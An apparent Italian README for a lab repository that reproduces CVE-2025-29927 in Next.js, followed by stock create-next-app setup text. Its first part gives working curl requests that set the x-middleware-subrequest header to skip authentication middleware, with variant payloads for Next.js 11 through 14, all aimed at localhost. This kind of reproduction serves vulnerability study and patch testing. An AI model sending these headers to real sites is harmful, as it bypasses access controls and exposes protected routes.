
Questo repository è una riproduzione della vulnerabilità CVE-2025-29927 nel pacchetto next
/api/hello$ curl http://localhost:3000/api/hello
{"error":"Unauthorized"}%
$ curl -H "Authorization: my-jwt-token-here" http://localhost:3000/api/hello
{"message":"Hello World"}%
middleware 5 volte nell'apposita intestazione x-middleware-subrequest:curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/api/hello
{"message":"Hello, World"}
Le versioni 12 e 13 di Next.js utilizzavano una convenzione di denominazione diversa per il file middleware (_middleware.js), cambiata poi in middleware.js in Next.js 14. Questa vulnerabilità può essere sfruttata nelle versioni precedenti utilizzando il file _middleware.js.
Ad esempio, si applicherebbero i seguenti payload, a seconda della versione di Next.js e della convenzione di routing:
curl -H "x-middleware-subrequest: middleware" http://localhost:3000/api/hello (per le versioni 12.2 di Next.js con il file middleware.js nella root dell'app, non all'interno della directory pages)curl -H "x-middleware-subrequest: src/middleware" http://localhost:3000/api/hellocurl -H "x-middleware-subrequest: _middleware" http://localhost:3000/api/hello (per le versioni di Next.js dalla 11 alla 12.2)curl -H "x-middleware-subrequest: pages/_middleware" http://localhost:3000/api/hellocurl -H "x-middleware-subrequest: pages/admin/_middleware" http://localhost:3000/api/helloPer prima cosa, esegui il server di sviluppo:
npm run dev
# or
yarn dev
# or
pnpm dev
# or
bun dev
Apri http://localhost:3000 con il tuo browser per vedere il risultato.
Puoi iniziare a modificare la pagina intervenendo su app/page.js. La pagina si aggiorna automaticamente mentre modifichi il file.
Questo progetto utilizza next/font per ottimizzare e caricare automaticamente Geist, una nuova famiglia di font per Vercel.
Per saperne di più su Next.js, dai un'occhiata alle seguenti risorse:
Puoi consultare il repository GitHub di Next.js - i tuoi feedback e contributi sono i benvenuti!
Il modo più semplice per eseguire il deploy della tua app Next.js è utilizzare la Piattaforma Vercel dei creatori di Next.js.
Consulta la nostra documentazione sul deploy di Next.js per maggiori dettagli.